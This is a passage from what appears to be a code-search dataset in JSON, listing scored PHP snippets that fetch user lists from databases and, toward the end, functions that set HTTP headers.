$this->base_uri.'user/assignable/multiProjectSearch?projectKeys='.$this->project;\n $users = $this->request($url);\n if (!$this->infos['errorBoolean']) {\n return json_decode($users);\n }\n }", "title": "" }, { "docid": "a119664e7a7699c3fca7c3905dda78ea", "score": "0.64124125", "text": "private function getAllUsers(){\n $query = \\Drupal::database()->select('users_field_data', 'ufd');\n $query->addField('ufd', 'name');\n $query->addField('ufd', 'mail');\n $query->condition('ufd.status', 1);\n return $query->execute()->fetchAll();\n }", "title": "" }, { "docid": "7a7058e65aff8be3b3523fbc0b469ff5", "score": "0.6401596", "text": "public function getUsers()\n\t{\n\t\t$users = $this->userRepository->getUsers();\n\t\treturn $users;\n\t}", "title": "" }, { "docid": "a5f27fc88df2f7ce5515bf52258117da", "score": "0.6400915", "text": "public function getAllUsers(): array\n {\n return $this->users;\n }", "title": "" }, { "docid": "2455df3120e332150e77e9cac861e8cc", "score": "0.6389844", "text": "public function getMailUsers()\n {\n return $this->userRepo->getMailUsers(\\Auth::user()->id);\n }", "title": "" }, { "docid": "abe22cc46d0e434f991e10b7e56facb3", "score": "0.63887924", "text": "public function getUserChannels($uid){\n\n $channels = DB::table('channels')\n ->join('rights','rights.pagepath','=','channels.channel_id')\n ->join('user_rights', 'user_rights.rights_id','=','rights.rights_id')\n ->select('channels.*')\n ->where('rights.label', '=', 'channel')\n ->where('user_rights.user_id', '=', $uid)\n ->get();\n\n return $channels;\n }", "title": "" }, { "docid": "90cc9421fc9b882272e00a83d3727d05", "score": "0.63670963", "text": "public function getUsers()\n\t{\n\t\t$users = [];\n\t\t$roles = $this->get('roles');\n\t\tif (!empty($roles)) {\n\t\t\t$roles = explode(',', $this->get('roles'));\n\t\t\tforeach ($roles as $member) {\n\t\t\t\t$users = array_merge($users, \\App\\PrivilegeUtil::getUserByMember($member));\n\t\t\t}\n\t\t\t$users = $this->filterUsers(array_unique($users));\n\t\t}\n\t\tif (empty($users)) {\n\t\t\t$smowners = $this->get('smowners') ? explode(',', $this->get('smowners')) : [];\n\t\t\tforeach ($smowners as $user) {\n\t\t\t\tif ('Users' !== \\App\\Fields\\Owner::getType($user)) {\n\t\t\t\t\t$users = array_merge($users, \\App\\PrivilegeUtil::getUsersByGroup($user));\n\t\t\t\t} else {\n\t\t\t\t\t$users[] = $user;\n\t\t\t\t}\n\t\t\t}\n\t\t\t$users = $this->filterUsers(array_unique($users));\n\t\t}\n\t\treturn $users;\n\t}", "title": "" }, { "docid": "346574b6db988f7a4cf05130407ea312", "score": "0.6363294", "text": "public function getUsers();", "title": "" }, { "docid": "346574b6db988f7a4cf05130407ea312", "score": "0.6363294", "text": "public function getUsers();", "title": "" }, { "docid": "346574b6db988f7a4cf05130407ea312", "score": "0.6363294", "text": "public function getUsers();", "title": "" }, { "docid": "346574b6db988f7a4cf05130407ea312", "score": "0.6363294", "text": "public function getUsers();", "title": "" }, { "docid": "34c30baf449c39d6106bd0922aef6bfc", "score": "0.6361011", "text": "function getUsersList()\n {\n $query = \"select * from User\";\n return $this->get_config_idx_data(\"login\", $query);\n }", "title": "" }, { "docid": "8600fb19a184a1555152adc61c2f2b5c", "score": "0.635108", "text": "public function getUsers() : array\n {\n return $this->users;\n }", "title": "" }, { "docid": "8600fb19a184a1555152adc61c2f2b5c", "score": "0.635108", "text": "public function getUsers() : array\n {\n return $this->users;\n }", "title": "" }, { "docid": "515443b01dcf0728dbbea933a1ae0744", "score": "0.6333151", "text": "public function allUsers()\n {\n $repo = User::get(['name', 'userId', 'login']);\n return $repo;\n }", "title": "" }, { "docid": "2986e9cf91e9e17cf7ed8612a1784585", "score": "0.6330352", "text": "public function getUsers()\n {\n return $this->users;\n }", "title": "" }, { "docid": "fe8d4af4e8a820d585421ae17e7be975", "score": "0.63280654", "text": "public function getUserList() {\n $where = [];\n $this->usersModel->setTableName(\"cvd_users\");\n\n $role_name = $this->request->input(\"role_name\");\n if ($role_name) {\n $where[] = [\"roles.role_name\", \"=\", $role_name];\n }\n\n $user_id = $this->request->input(\"user_id\");\n if ($user_id) {\n $where[] = [\"users.user_id\", \"=\", $user_id];\n }\n $orderBy = \"users.user_id\";\n $this->usersModel->setWhere($where);\n $users = $this->usersModel->getUsers($orderBy);\n\n return $users;\n }", "title": "" }, { "docid": "c2b0bdb63aaa0f214ff4222cebc422b2", "score": "0.63217765", "text": "public function getUsers()\n {\n $em = $this->container->get('doctrine')->getEntityManager();\n $builder = $em->getRepository('AppWebBundle:User')->createQueryBuilder('u');\n \n return $builder->getQuery()->getResult();\n }", "title": "" }, { "docid": "573b05c195541918edc11e4423590a5f", "score": "0.6317207", "text": "public function listusers(){\n $this->cpanel_api_ver = 'api2';\n return $this->_check_result($this->api2_query($this->user, 'MysqlFE', __FUNCTION__));\n }", "title": "" }, { "docid": "5dd13e67b1134bb2248e6c9f2a6b19f8", "score": "0.6310509", "text": "public function index()\n {\n return $this->userRepo->getUsers();\n }", "title": "" }, { "docid": "2a439fdc756fd58f4c61a51ee2dfe90e", "score": "0.63010436", "text": "public function getUsers() \n\t{\n\t\treturn $this->users;\n\t}", "title": "" }, { "docid": "fd1418d8701a1c1266d4e0366bf63221", "score": "0.6297224", "text": "public function getUsers() {\n $select = $this->select()\n ->from($this->_name, [db_Users::_ID, db_Users::_TYPE, db_Users::_EMAIL, db_Users::_FIRST_NAME,\n db_Users::_LAST_NAME, db_Users::_PATRONYMIC, db_Users::_PHONE, db_Users::_REG_DATE,\n db_Users::_LAST_DATE, db_Users::_DISCOUNT])\n ->Where(db_Users::_TYPE . ' = ?', db_Users::TYPE_USER)\n ->order(db_Users::_EMAIL);\n return $this->getAdapter()->fetchAll($select);\n }", "title": "" }, { "docid": "e0eb01b42b2b4faceab609f2d014039a", "score": "0.628617", "text": "function getUsers() {\n\t\t// get our database connection\n\t\t$dbObject = GetDatabase();\n\t\t\n\t\t// now the sql again\n\t\t$sql = \"select username from users\";\n\t\t\n\t\t// run the query\n\t\t$result = $dbObject->query($sql);\n\t\t\n\t\t// iterate over the results - we expect a simple array containing\n\t\t// a list of usernames\n\t\t$i = 0;\n\t\t$users = array();\n\t\tforeach($result as $row) {\n\t\t\t$users[$i] = $row[\"username\"];\n\t\t\t$i++;\n\t\t}\n\t\t\n\t\t// now return the list\n\t\treturn $users;\n\t}", "title": "" }, { "docid": "0660fbbc61ce945a9babb3fa93355d81", "score": "0.627959", "text": "public function getUsers() {\n return $this->users;\n }", "title": "" }, { "docid": "78d101cf6c2c121bc0208dd8f84360c8", "score": "0.62660056", "text": "public function getUsers() {\n $user= \\DB::table('users')\n ->lists('name', 'id');\n return $user;\n\n\n }", "title": "" }, { "docid": "86a1f9499c6b680cda967fd45ce80d82", "score": "0.6258926", "text": "function getUsers()\n\t{\n\t\t$res = $this->db->query(\"SELECT username FROM users\");\n\n\t\t$users = [];\n\t\tforeach ($res as $r) $users[] = $r->username;\n\n\t\treturn $users;\n\t}", "title": "" }, { "docid": "1ce9162957e4431b7967519f8ae7f94f", "score": "0.6258696", "text": "public function getAllUsers()\n {\n $result = self::$dbInterface -> query(\"SELECT userID, userName, email FROM user\");\n return $result;\n }", "title": "" }, { "docid": "578776aa4c2b2760143161be0e8a1a51", "score": "0.62568724", "text": "public function listUsers() {\n\t\t$users = Common::loadJSON(\"users\");\n\t\t$temp = array();\n\n\t\t//Remove the user in session.\n\t\tforeach ($users as $username => $data) {\n\t\t\tif ($username == $this->activeUser) continue;\n\t\t\t$temp[] = $username;\n\t\t}\n\n\t\treturn $temp;\n\t}", "title": "" }, { "docid": "8fc52a352036cd95b34f350fbf55ab18", "score": "0.6245936", "text": "public function get_all_users() {\n\t\t$result = $this->db->get($this->tables['users']);\n\t\treturn $result->result_array();\n\t}", "title": "" }, { "docid": "f1c2868459d3dc2727b5bd4dd1f28fc5", "score": "0.62422526", "text": "private function getUserList()\n {\n $users = User::getUsers();\n $users = ArrayHelper::map($users, 'id', 'username');\n \n return $users;\n }", "title": "" }, { "docid": "f356d7abdbc6dbe6b430c20253275138", "score": "0.6220338", "text": "public function getUsers()\n {\n $requete = \"SELECT *, u.ID as id_users\n FROM linku_users as u\";\n $result = $this->connexion->query($requete);\n $listUsers = $result->fetchAll(PDO::FETCH_ASSOC);\n return $listUsers;\n }", "title": "" }, { "docid": "b4895835c5b4c9aa21a17698750cf7cf", "score": "0.6219264", "text": "function fetchUsers()\r\n {\r\n $users = $this->DB->database_select('users', array('username', 'uid'));\r\n return $users;\r\n }", "title": "" }, { "docid": "de4dbd894f41d88e985ff202ebcd5340", "score": "0.62188864", "text": "public function getUsers(){\n\t\t\t$users = $this->db->get(\"users\");\n\t\t\treturn $users;\n\t\t}", "title": "" }, { "docid": "af10ecbd470f58965264599a2f0f2c51", "score": "0.62158513", "text": "public function getUsers()\n {\n $command = $this->client->getCommand('GetAllUserIDs');\n\n return $this->client->execute($command)->json();\n }", "title": "" }, { "docid": "27889b35dc2b5b90a081ec98bf4ee1af", "score": "0.6212976", "text": "public function getUsers() {\n\t\treturn $this->database->table($this->tbl_user)->order('id ASC');\n\t}", "title": "" }, { "docid": "ae61cc2c976ae8760b643e0f61b349ce", "score": "0.62126046", "text": "public function getUserList()\n {\n return $this->userList;\n }", "title": "" }, { "docid": "60c3299b335a2880f198f1854b79b953", "score": "0.62094975", "text": "public function get_all_users()\r\n {\r\n $wh = array();\r\n $SQL = 'SELECT * FROM user';\r\n if (count($wh) > 0) {\r\n $WHERE = implode(' and ', $wh);\r\n return $this->datatable->LoadJson($SQL, $WHERE);\r\n } else {\r\n return $this->datatable->LoadJson($SQL);\r\n }\r\n }", "title": "" }, { "docid": "cf4e2ecc495032487cde980b90f00ecb", "score": "0.62060046", "text": "public function getUsers($chan)\n {\n $chan = trim(strtolower($chan));\n if (isset($this->store[$chan])) {\n return array_keys($this->store[$chan]);\n }\n return false;\n }", "title": "" }, { "docid": "482dacd9937f5653b189067e3fcd6003", "score": "0.6196614", "text": "public function usersList()\n\t{\n\t\t$attr = array('ID', 'user_name', 'user_nicename', 'user_email', 'user_url', 'user_registered', 'user_status', 'display_name');\n\t\t$this->db->select($attr);\n\t\t$query = $this->db->get('ep_users');\n\t\treturn $query->result();\n\t}", "title": "" }, { "docid": "e74de5fd7fff3438bb77a765cd97f244", "score": "0.6194016", "text": "public function listUsers()\n {\n $users = [];\n $req = 'SELECT * FROM user';\n $result = $this->findAll($req);\n foreach ($result as $user) {\n $users[] = new User($user);\n }\n return $users ;\n }", "title": "" }, { "docid": "3c1d623bdfd433bde2a02c27316b7b1e", "score": "0.61932725", "text": "public function list(): UserCollection\n {\n return new UserCollection($this->userRepository->list());\n }", "title": "" }, { "docid": "0a0d6387549e257fbb56caa760b09a84", "score": "0.6189134", "text": "public function get_users() {\n\t\t$q = \"SELECT * FROM user\";\n\t\t$result = $this->db->query($q);\n\t\treturn $result->result_array();\n\t}", "title": "" }, { "docid": "f1783b61c8bca43e1ef82fcc3542e713", "score": "0.61862814", "text": "public function listUser()\n {\n $user = $this->all();\n\n $response = $this->filterUser($user, true);\n\n return $response;\n }", "title": "" }, { "docid": "68f45dfcd02c6cd67340855ad47e8ed3", "score": "0.61782694", "text": "public function listUsers()\n {\n $result = $this->query(null, 'SHOW USERS')->getColumns();\n\n return (array) $result;\n }", "title": "" }, { "docid": "839c5a2cafbe6d63f795f87fcc06cd2c", "score": "0.61772096", "text": "public function get_active_users() {\n /** check for invalid users, users that have not been active since 1 hour ago **/\n $datetime = strtotime('-5 minutes',strtotime(date('Y-m-d H:i:s')));\n $params_d = array(\n 'stream' => 'active_users',\n 'namespace' => $this->namespace,\n 'where' => \"last_activity_u_a < '\" .$datetime.\"'\"\n );\n $entries_d = $this->streams->entries->get_entries($params_d);\n foreach($entries_d['entries'] as $e_d){\n $this->streams->entries->delete_entry($e_d['id'], 'active_users', $this->namespace);\n }\n $params = array(\n 'stream' => 'active_users',\n 'namespace' => $this->namespace\n );\n $entries = $this->streams->entries->get_entries($params);\n $users = array();\n foreach ($entries['entries'] as $e) {\n $users[] = array(\n 'user_id' => $e['created_by']['user_id'],\n 'user' => $e['created_by']['display_name'],\n 'gest_name' => (!empty($e['user_nick_c'])) ? $e['user_nick_c'] : false,\n 'isUser' => (!empty($e['created_by']['user_id'])) ? true : false,\n 'last_activity' => date('Y-m-d H:i:s', $e['last_activity_u_a']),\n 'user_ip' => $e['user_b_ip']\n );\n }\n echo json_encode($users);\n }", "title": "" }, { "docid": "0bccf7f0c64809e56ed80990fc574fc7", "score": "0.6175641", "text": "public function getUsers(){\n\t\treturn $this->users;\n\t}", "title": "" }, { "docid": "cdaed354923743e8adb366ed201c8692", "score": "0.6167078", "text": "public function getAllUsers()\n\t\t{\n\t\t\t$table = 'admin_users';\n\t\t\t$columns = '*';\n\n\t\t\treturn $this->db->get($table, $columns);\n\t\t}", "title": "" }, { "docid": "9686da51ebeb07f0170f4c7079cad490", "score": "0.6166839", "text": "public function get_user_list() {\n\t\t$this->sql = \"SELECT user_id, concat(user_forename,' ',user_surname) user_name FROM sys_user;\";\n\t\t$this->connect->query($this->sql);\n\t\treturn $this->connect->resultArrayValues();\n\t}", "title": "" }, { "docid": "4ce3007563cad488bc3c180194656c5c", "score": "0.6161365", "text": "function getAllUsers() {\n $result = mysql_query(\"select * FROM gcm_users\");\n return $result;\n }", "title": "" }, { "docid": "5b1bcde711fc120a80d1af377fe2485e", "score": "0.61517775", "text": "function get_users()\n\t{\n\t\t//NOTE: this gets all users, (except current user) but not whether\n\t\t// they are friends with current user - will have to add that in!\n\t\t$get_users_query =<<<_SQL\n\t\t\tSELECT CONCAT(users.first_name,' ',users.last_name) AS name, users.email, users.id\n\t\t\tFROM users\n\t\t\tWHERE users.id != '{$_SESSION['user']['id']}'\n_SQL;\n\t\treturn $this->connection->fetch_all($get_users_query);\n\t}", "title": "" }, { "docid": "9522faa8920acbb683d9290fb20bc098", "score": "0.6149035", "text": "public function getAllUsers()\n {\n $users = User::all();\n return $users;\n }", "title": "" }, { "docid": "9522faa8920acbb683d9290fb20bc098", "score": "0.6149035", "text": "public function getAllUsers()\n {\n $users = User::all();\n return $users;\n }", "title": "" }, { "docid": "f5189cce4d8b75390ecc223e696f986f", "score": "0.61463183", "text": "public static function all()\n {\n return Configuration::gateway()->users()->all();\n }", "title": "" }, { "docid": "879205122e6d9a7ffaaacc32566bdea8", "score": "0.6138404", "text": "public function list_users() {\n mysqli_select_db($this->connection, $this->database);\n $select_users = \"SELECT * FROM \".$this->tablename.\" WHERE 1\";\n $users = mysqli_query($this->connection,$select_users);\n return $users;\n }", "title": "" }, { "docid": "d0d26c3c1e9868849924e1f07bcae21d", "score": "0.613831", "text": "function monitor_list_users() {\n $query = \"select distinct(`wf_user`) from `\".GALAXIA_TABLE_PREFIX.\"instance_activities`\";\n $result = $this->query($query);\n $ret = Array();\n while($res = $result->fetchRow()) {\n $ret[] = $res['wf_user'];\n }\n return $ret;\n }", "title": "" }, { "docid": "1591035c133e2b58f08d3f6c66ebfd8c", "score": "0.61374146", "text": "public function getUsers()\n {\n if (!is_array($this->users)) {\n $users = $this->get('users', [\n 'roles' => 'administrator,editor,author,contributor',\n ]);\n\n foreach ($users as $user) {\n $this->users[$user['id']] = $user;\n }\n }\n\n return $this->users;\n }", "title": "" }, { "docid": "0174338b15729bf14f09474c22e6f770", "score": "0.61299765", "text": "public function getUsers() {\n $userDAO = new UserDAO();\n return $userDAO->retrieveUsers();\n }", "title": "" }, { "docid": "f3066bbb7c018f2695bc9954aaec51dd", "score": "0.61138874", "text": "public function users()\n {\n $users = [];\n foreach ($this->users as $user) {\n array_push($users, [\n 'id' => $user->id,\n 'name' => $user->name,\n 'username' => $user->username,\n 'email' => $user->email,\n 'phone' => $user->phone,\n 'position' => $user->position,\n 'avatar' => avatar($user->avatar)\n ]);\n }\n return $users;\n }", "title": "" }, { "docid": "dfc38973ae07f8bb826b14ac362b88d8", "score": "0.6110129", "text": "public function findAllUsers()\n {\n return array_map(\n function (UserResponse $response) {\n return $response->getUser();\n },\n $this->apiClient->findAllUsers()\n );\n }", "title": "" }, { "docid": "edd86bb9f70d1f8c3d9fa9b80e350b5a", "score": "0.61089134", "text": "public function usersLogged(){\n $repository = $this->doctrine->getRepository('AppBundle:User');\n $users = $repository->getActive();\n \n return $users;\n }", "title": "" }, { "docid": "d0b434e08da59be6af2853d621690262", "score": "0.6103809", "text": "public function _list() {\n\t\t// assign user based on api key\n\t\tif (empty($this->params[0])) {\n\t\t\t$json = [\n\t\t\t\t'error' => 'No channel specified'\n\t\t\t];\n\t\t\treturn $json;\n\t\t}\n\t\t$account = filter_var($this->params[0], FILTER_SANITIZE_STRING);\n\t\t$params = array($account);\n\t\t$sql = \"SELECT * FROM \" . $this->db->sub_table . \" WHERE subscriber = $1 OR host_account = $1\";\n\t\t$result = pg_query_params($this->db->link, $sql, $params);\n\t\t$subscribed = [];\n\t\t$subscribers = [];\n\t\twhile ($row = pg_fetch_assoc($result)) {\n\t\t\tif ($row['host_account'] === $account) {\n\t\t\t\t$subscribers[] = $row['subscriber'];\n\t\t\t} \n\t\t\tif ($row['subscriber'] === $account) {\n\t\t\t\t$subscribed[] = $row['host_account'];\n\t\t\t}\n\t\t}\n\t\t$json = [\n\t\t\t'subscribed' => $subscribed,\n\t\t\t'subscribers' => $subscribers\n\t\t];\n\t\treturn json_encode($json);\n\t}", "title": "" }, { "docid": "589a6d0a9f2b3803f8ddf0d041f2f31a", "score": "0.61031544", "text": "public function get_all_users()\n {\n $users = [];\n foreach($this->users as $user) {\n $users[] = $user->id;\n }\n\n return $users;\n }", "title": "" }, { "docid": "404fe013c08f36ad599d939073cb5b7d", "score": "0.6072476", "text": "public function getOnlineUsers()\n {\n return $this->redisClient->smembers($this->setName);\n }", "title": "" }, { "docid": "2f213758afc0bc78be074c8708593e9d", "score": "0.6069272", "text": "function getUsers () {\r\n $this->query(\"SELECT * FROM `users`\");\r\n $users = [];\r\n while ($row = $this->stmt->fetch()) { $users[$row['user_id']] = $row['user_name']; }\r\n return $users;\r\n }", "title": "" }, { "docid": "7023950bcb364c6c3877d8cdf19863fe", "score": "0.60686904", "text": "public static function getAllUsers(){\n $req = Db::getConnection()->prepare(\"SELECT pseudo, pswd, mail FROM USER\");\n $req->execute();\n return $req->fetchAll();\n }", "title": "" }, { "docid": "7f192e1927b3b2af7caba7a101168fcd", "score": "0.60642093", "text": "function getUserList()\n\t{\n\t\t//getUsers\n\t\t\n\t\t$functionurl =\"\";\n\t\t$functionName = 'getUsers';\n\t\t\n\t\t$functionurl .= $this->baseurl;\n\t\t$functionurl .= $functionName;\n\t\t\n\t\t$json = file_get_contents($functionurl, false);\n\t\t//Man erhält vom Server ein JSON Objekt\n\t\t\n\t\t\n\t\t$obj = json_decode($json);\n\t\t\n\t\t\n\t\t\n\t\t\n\t\tif(isset($obj->{'success'}))//verbindung steht\n\t\t{\n\t\t\tif($obj->{'success'}==true)//hat geklappt\n\t\t\t{\n\t\t\t\treturn $obj->{'users'};\n\t\t\t}\n\t\t\telse//hat nicht geklappt\n\t\t\t{\n\t\t\t\treturn $obj->{'error'};//fehlermeldung\n\t\t\t}\n\t\t\t\n\t\t}\n\t\t\n\t}", "title": "" }, { "docid": "7696bbdcee83985522d0a426a38b97cf", "score": "0.6062462", "text": "function list_users() {\n $status = session_status();\n if($status == PHP_SESSION_NONE){\n session_start(); /// initialize session\n }\n $user_name = check_logged(); /// function checks if visitor is logged in.\n if (!$user_name)\n return;\n\n $allowed = false;\n if (!check_role( \"admin\" )) {\n return false;\n }\n\n // read the permissions database\n $d = loadDB();\n return $d[\"users\"];\n }", "title": "" }, { "docid": "ac2fea197a419ff24356c081194ae53d", "score": "0.6052007", "text": "public static function getUsers()\n {\n $columns = array(\n 'UM_user.id',\n 'UM_user.name',\n 'UM_user.isActive',\n 'UM_user.colour',\n 'UM_user_group.name as user_group_name',\n );\n\n $results = User::select($columns)\n ->join('UM_user_group','UM_user.group_id', '=', 'UM_user_group.id' , 'inner');\n\n $results->groupBy('UM_user.id');\n\n $results = $results->get()->toArray();\n\n return $results;\n }", "title": "" }, { "docid": "625fdc63df124430bd25c3fe9d90bb1a", "score": "0.60517067", "text": "public function broadcastOn()\n {\n $userIds = DB::table(\"chat_user\")\n ->where(\"chat_id\", $this->chat_id)\n ->where(\"user_id\", \"!=\", auth()->id())\n ->pluck(\"user_id\");\n\n return $userIds->map(function ($user_id) {\n $this->new_messages_count = Message::getNewMessagesCount($user_id);\n return new PrivateChannel(\"user-$user_id\");\n })->toArray();\n }", "title": "" }, { "docid": "5bf16d9d817ec6d039dbb9428b88c3b1", "score": "0.60488385", "text": "function getUsers() {\n $users = $this->users;\n if (is_string($users)) {\n $users = explode(',', $users);\n }\n return $users;\n }", "title": "" }, { "docid": "0ae865c0e66ef5c87e21eda4d6a8feca", "score": "0.6042849", "text": "public function getUsers()\n\t{\n\t\t$result = $this -> DBmodel -> SELECT(\" id, name, email \") -> from(\"\n\t\tusers \") -> selected();\n\t\treturn $result;\n\t}", "title": "" }, { "docid": "9303101d482b970def0184d7a030322d", "score": "0.60412556", "text": "public function getUserList()\n {\n $userList = DB::table('users as user')\n ->join('users as created_user', 'user.created_user_id', '=', 'created_user.id')\n ->join('users as updated_user', 'user.updated_user_id', '=', 'updated_user.id')\n ->select('user.*', 'created_user.name as created_user', 'updated_user.name as updated_user')\n ->whereNull('user.deleted_at')\n ->get();\n return $userList;\n }", "title": "" }, { "docid": "f2c0c83408469ffc9ac07d12683575d1", "score": "0.6036335", "text": "public function getUsers()\n {\n $users = [];\n $request = $this->_db->query('SELECT * FROM user');\n while ($data = $request->fetch(PDO::FETCH_ASSOC)) {\n $users[] = new User($data);\n }\n return $users;\n }", "title": "" }, { "docid": "ab07971de6c72beca36536e6322872b8", "score": "0.60347354", "text": "public static function find_all_users() {\n return self::find_this_query(\"SELECT * FROM users\");\n }", "title": "" }, { "docid": "306116c70353c814221e4b61685f7f30", "score": "0.6027404", "text": "function getAllUsers() \n\t{\n\t\t$stmt = $this->con->prepare(\"SELECT id, username FROM users\");\n\t\t$stmt->execute();\n\t\t$stmt->bind_result($id, $username);\n\t\t$users = array();\n\t\twhile ($stmt->fetch()) {\n\t\t\t$temp = array();\n\t\t\t$temp[\"id\"] = $id;\n\t\t\t$temp[\"username\"] = $username;\n\t\t\tarray_push($users, $temp);\n\t\t\t\n\t\t}\n\t\treturn $users;\n\t}", "title": "" }, { "docid": "3ec2188664a66b5f7f11076cea48c282", "score": "0.6022955", "text": "public function getUsers()\n {\n if (empty($this->users)) {\n $this->setUsers();\n }\n }", "title": "" }, { "docid": "d36e76d5046b42363d9f2cc4d064a6f6", "score": "0.60225827", "text": "public function getOnlineUsers()\n {\n return $this->onlineUsers->getOnlineUsers();\n }", "title": "" }, { "docid": "aebc74c3bf2dc40955e4c25110a64c02", "score": "0.6021651", "text": "public function getUserList($limit = 0) {\n $params = array_merge([\n 'token' => $this->bot_token,\n 'pretty' => true,\n ]);\n\n return $this->get($params, 'users.list');\n }", "title": "" }, { "docid": "524429b574da17a1a5c54aa9427c252d", "score": "0.6020984", "text": "function getUsers()\n\t{\n\t\t// Lets load the files if it doesn't already exist\n\t\tif (empty($this->_users))\n\t\t{\n\t\t\t$query = $this->_buildQueryUsers();\n\t\t\t$this->_users = $query === false\n\t\t\t\t? array()\n\t\t\t\t: $this->_getList($query);\n\t\t}\n\n\t\treturn $this->_users;\n\t}", "title": "" } ]
be6b2ad6453ff4511c1c1410e714973b
Sets the HTTP headers for a particular file
[ { "docid": "59053def6b459176170540447acccee8", "score": "0.0", "text": "private static function set_headers($modified,$lifetime,$length)\n\t{\t\n\t\tself::$headers = array();\n\t\n\t\t/**\n\t\t * Set the expires headers\n\t\t */\n\t\t$now = $expires = time();\n\n\t\t// Set the expiration timestamp\n\t\t$expires += $lifetime;\n\n\t\tScaffold::header('Last-Modified',gmdate('D, d M Y H:i:s T', $now));\n\t\tScaffold::header('Expires',gmdate('D, d M Y H:i:s T', $expires));\n\t\tScaffold::header('Cache-Control','max-age='.$lifetime);\n\t\t\t\t\n\t\t/**\n\t\t * Further caching headers\n\t\t */\n\t\tScaffold::header('ETag', md5(serialize(array($length,$modified))) );\n\t\tScaffold::header('Content-Type','text/css');\n\t\t\n\t\t/**\n\t\t * Content Length\n\t\t * Sending Content-Length in CGI can result in unexpected behavior\n\t\t */\n\t\tif(stripos(PHP_SAPI, 'cgi') === FALSE)\n\t\t{\n\t\t\tScaffold::header('Content-Length',$length);\n\t\t}\n\t\t\n\t\t/**\n\t\t * Set the expiration headers\n\t\t */\n\t\tif (!empty($_SERVER['HTTP_IF_MODIFIED_SINCE']))\n\t\t{\n\t\t\tif (($strpos = strpos($_SERVER['HTTP_IF_MODIFIED_SINCE'], ';')) !== FALSE)\n\t\t\t{\n\t\t\t\t// IE6 and perhaps other IE versions send length too, compensate here\n\t\t\t\t$mod_time = substr($_SERVER['HTTP_IF_MODIFIED_SINCE'], 0, $strpos);\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$mod_time = $_SERVER['HTTP_IF_MODIFIED_SINCE'];\n\t\t\t}\n\n\t\t\t$mod_time = strtotime($mod_time);\n\t\t\t$mod_time_diff = $mod_time + $lifetime - time();\n\n\t\t\tif ($mod_time_diff > 0)\n\t\t\t{\n\t\t\t\t// Re-send headers\n\t\t\t\tScaffold::header('Last-Modified', gmdate('D, d M Y H:i:s T', $mod_time) );\n\t\t\t\tScaffold::header('Expires', gmdate('D, d M Y H:i:s T', time() + $mod_time_diff) );\n\t\t\t\tScaffold::header('Cache-Control', 'max-age='.$mod_time_diff);\n\t\t\t\tScaffold::header('_status',304);\n\n\t\t\t\t// Prevent any output\n\t\t\t\tScaffold::$output = '';\n\t\t\t}\n\t\t}\n\t}", "title": "" } ]
[ { "docid": "a5e5ec8b6c2d395053eff648927388a6", "score": "0.75890493", "text": "public function setHeader($file)\n\t{\n\t\t$this->header = $file;\n\t}", "title": "" }, { "docid": "5ac11fe8024eb823b1eac0f5cabc07d2", "score": "0.746964", "text": "function _set_header( $header_file ) {\n\t\t$this->_header = $header_file;\n\t}", "title": "" }, { "docid": "4808b2d163e3d5d418f23c8f6d146718", "score": "0.7245149", "text": "public function SetHeaders() { }", "title": "" }, { "docid": "3d47521b79a04655cd807a5acdca3763", "score": "0.72007865", "text": "function setHeaders() {\n }", "title": "" }, { "docid": "6197098c74fc2ed7b6d0430e97bb8e15", "score": "0.7127482", "text": "private function setHeaders(){\n $this->headers = apache_request_headers();\n }", "title": "" }, { "docid": "c3a2bbbb8ebb7295f2689da0da397b62", "score": "0.6945644", "text": "abstract protected function setHeader();", "title": "" }, { "docid": "3378ec92d2242094443b75d92c4e06bb", "score": "0.68985915", "text": "private function setRequestedHeaders()\r\n {\r\n $headers = array();\r\n foreach ($_SERVER as $key => $value) {\r\n if (substr($key, 0, 5) <> 'HTTP_') {\r\n continue;\r\n }\r\n $header = str_replace(' ', '-', ucwords(str_replace('_', ' ', strtolower(substr($key, 5)))));\r\n $headers[$header] = $value;\r\n }\r\n $this->header = $headers;\r\n }", "title": "" }, { "docid": "78aabdbd9aabcd40cfd5792e5797c9a2", "score": "0.6882", "text": "public function setHeaders($headers);", "title": "" }, { "docid": "78aabdbd9aabcd40cfd5792e5797c9a2", "score": "0.6882", "text": "public function setHeaders($headers);", "title": "" }, { "docid": "cf5dd365ba0976e8a59801ed7286e263", "score": "0.68473125", "text": "protected function setHeaders()\n {\n parent::setHeaders();\n\n $this->headers['headers']['Authorization'] = 'OAuth '.$this->params['token'];\n }", "title": "" }, { "docid": "a88a79c51cea90116d0050dbe3278c3a", "score": "0.6786345", "text": "public function setHeader( $key, $value );", "title": "" }, { "docid": "31c3ab7559b25f4ef3d126b882a66bc6", "score": "0.67732996", "text": "function setHeader(string $name, string $value);", "title": "" }, { "docid": "4bf1c5c7eba47260e863f80b247c8892", "score": "0.6722777", "text": "protected function setHeaders( $headers ){\r\n \r\n $this->headers = $headers;\r\n \r\n }", "title": "" }, { "docid": "57d685e12b453ae2706647fdf59a51d1", "score": "0.6704894", "text": "public function setHeader()\n {\n $headers = array();\n\n /**\n * Split the string on \"double\" new line.\n * First is header data, second is body content\n * We need to use Windows \"end of line\" char because of response format\n */\n $arrRequests = explode(\"\\r\\n\\r\\n\", $this->content); // Split on first occurrence\n $headerLines = explode(\"\\r\\n\", $arrRequests[0]); // Split on first occurrence\n $headers['http_code'] = $headerLines[0];\n\n foreach ($headerLines as $i => $line) {\n if ($i > 0) {\n list ($key, $value) = explode(':', $line, 2); // Split on first occurrence\n $headers[trim($key)] = trim($value);\n }\n }\n\n $this->header = $headers;\n }", "title": "" }, { "docid": "e00e8f6e0ad897191b52f6843b097970", "score": "0.66977626", "text": "public function setHeaders($headers){\n\t\tforeach($headers as $name => $value){\n\t\t\t$this->_headers[$name] = $value;\n\t\t}\n\t}", "title": "" }, { "docid": "41f6dc571a2fb401c36bdadb69e5e9ec", "score": "0.6690126", "text": "protected function set_request_headers() {\n $headers = array();\n foreach ($this->headers as $key => $value) {\n $headers[] = $key.': '.$value;\n }\n curl_setopt($this->request, CURLOPT_HTTPHEADER, $headers);\n }", "title": "" }, { "docid": "8259de0266f52e58c76902fb677b5412", "score": "0.6685699", "text": "protected function set_file_headers() {\n\t\t$this->po->set_header( 'Content-Type', 'text/plain; charset=utf-8' );\n\t\t$this->po->set_header( 'Content-Transfer-Encoding', '8bit' );\n\t\t$this->po->set_header( 'Project-Id-Version', 'POLYLANG_EXPORT' );\n\t\t$this->po->set_header( 'POT-Creation-Date', current_time( 'Y-m-d H:iO', true ) );\n\t\t$this->po->set_header( 'PO-Revision-Date', current_time( 'Y-m-d H:iO', true ) 